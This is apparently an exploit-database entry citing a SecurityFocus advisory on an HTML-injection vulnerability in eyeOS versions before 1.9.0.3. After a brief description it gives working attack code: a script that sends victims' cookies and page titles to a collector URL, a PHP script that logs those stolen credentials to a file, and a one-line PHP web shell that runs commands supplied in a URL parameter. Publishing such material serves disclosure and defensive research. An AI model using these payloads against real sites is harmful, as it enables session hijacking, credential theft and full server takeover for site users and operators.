source: https://www.securityfocus.com/bid/47629/info eyeOS is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input passed through image content before using it in dynamically generated content. Attacker-supplied HTML and script code would run in the context of the affected site, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible. Versions prior to eyeOS 1.9.0.3 are vulnerable. <!doctype html> <script> var http = new XMLHttpRequest() var url = "http://localhost/report.php?" + "user=" + top.document.title + "&cookie=" + document.cookie; http.open("GET", url, true); http.send(""); </script> <?php $usercookies = fopen("usercookies", "a"); fwrite($usercookies, "User: " . $_GET['user'] . "\t" ."Cookie: " . $_GET['cookie'] . "\n"); ?> <?php system($_GET['cmd']); ?>